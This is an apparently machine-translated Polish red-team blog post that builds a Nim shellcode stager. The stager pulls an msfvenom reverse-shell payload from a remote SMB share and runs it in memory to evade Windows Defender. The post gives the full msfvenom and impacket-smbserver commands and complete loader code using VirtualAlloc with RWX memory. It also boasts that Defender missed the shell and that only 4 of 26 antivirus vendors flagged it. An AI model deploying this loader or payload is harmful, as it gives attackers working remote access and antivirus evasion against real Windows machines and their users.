Tworzenie stagera SMB w Nim
Witam wszystkich Czerwonych Drużynowców. Niedawno zacząłem kontaktować się z Nim w sprawie ofensywnego kodowania. Szczerze mówiąc, wydaje mi się to trudne i dziwne, ale DZIAŁA!
Dzisiaj opracowujemy prosty stager SMB, z pominięciem Windows Defender w czasie testowania.
Jeśli wolisz oglądać wideo zamiast czytać, pełny film można znaleźć tutaj:https://youtu.be/qq-S2syksL0
Ponadto, jeśli jesteś zainteresowany dołączeniem do otwartego Discorda w celu dzielenia się wiedzą i doświadczeniem w zakresie cyberbezpieczeństwa, zapraszamy:https://discord.gg/dWCe5ZMvtQ
Chodźmy
Teoria jest dość prosta, chodzi o to, aby uniknąć zapisywania kodu powłoki do pliku, omijając wykrywanie oparte na sygnaturach, jednocześnie pomagając w heurystyce. Początkowo próbowałem pobrać kod powłoki za pomocą HTTP, ale natknąłem się na wiele problemów, których nie byłem w stanie samodzielnie rozwiązać. Potem nieco zmieniła się metodologia. Zamiast pobierać go z HTTP, ładunek będzie hostowany w udziale SMB i stamtąd będzie bezpośrednio odczytywany.
Użyłem bezstopniowego ładunku msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f raw -o code.bin
impacket-smbserver smb . -ts -debug -smb2support
import winim/lean
var filename = "\\\\192.168.153.128\\smb\\code.bin"
var file: File = open(filename, fmRead)
var fileSize = file.getFileSize()
var shellcode = newSeq[byte](fileSize)
discard file.readBytes(shellcode, 0, fileSize)
file.close
echo shellcode
echo fileSize
echo sizeof(shellcode)
type
buf* = LPVOID
var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
copyMem(rez, shellcode[0].addr, fileSize)
let f = cast[proc(){.nimcall.}](rez)
f()
Po pierwsze, musimy zaimportować bibliotekę jądra systemu Windows, umożliwiającą nam wywoływanie interfejsów API systemu Windows:
import winim/lean
var filename = "\\\\192.168.153.128\\smb\\code.bin"
var file: File = open(filename, fmRead)
var fileSize = file.getFileSize()
var shellcode = newSeq[byte](fileSize)
discard file.readBytes(shellcode, 0, fileSize)
file.close
type
buf* = LPVOID
var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
copyMem(rez, shellcode[0].addr, fileSize)
let f = cast[proc(){.nimcall.}](rez)
f()
Czas testowania!
Wykonałem 2 testy. Pierwszy dotyczy klienta Windows 10 z WŁĄCZONYM i URUCHAMIANYM programem Defender. Drugi jest przeciwko interfejsowi antiscan.me.
Nim Stager kontra Windows Defender
Test 1 rozpoczyna się od upuszczenia stagera do systemu plików. Jak dotąd nic nie jest uruchamiane, co oznacza, że udało nam się obejść wykrywanie oparte na sygnaturach. Teraz biegnijmy i obserwujmy:

Stager okazał się działać dobrze, a dziwne jest to, że Defenderowi udało się uruchomić, ale to nie zabiło powłoki:

Miałem tę powłokę uruchomioną przez kilka minut i była w pełni funkcjonalna. Osobiście nie mam pojęcia, dlaczego obrońca go nie zabił, jeśli znasz odpowiedź, byłbym wdzięczny za udostępnienie.
Nim Stager kontra Antiscanme
Nie zrozumcie mnie źle, antiscanme jest świetny, ale podczas testowania stagerów tak naprawdę nie mają sposobu na przedstawienie prawidłowych wyników. Wyniki, które widzisz, są solidnie oparte na wykrywaniu opartym na sygnaturach, ponieważ nie mają możliwości pobrania rzeczywistego kodu powłoki przez sieć. Spodziewam się, że więcej dostawców AV wychwyci to podczas prawdziwych testów, ale jest to miły „pierwszy krok”.
Po przesłaniu stagera tylko 4/26 sprzedawców było w stanie go złapać.

Uważam, że ten wyzwalacz opiera się na tym, że dostawcy odczytują wywołania interfejsów API systemu Windows, co oznacza, że traktują to jako złośliwe. Oczywiście, aby sprawdzić, co dokładnie poszło nie tak, musiałbym wykonać wiele, wiele testów. To jest moja teoria na ten moment.
Wniosek
Zabawa z Nim jest fajna, a wyniki, które osiągnęliśmy, po prostu inscenizując rzeczy, są niesamowite. Oczywiście istnieją znacznie bardziej zaawansowane techniki omijania AV, które możemy zastosować, ale będziemy to robić w przyszłości. Mam nadzieję, że uznasz te treści za przydatne i nauczysz się czegoś nowego.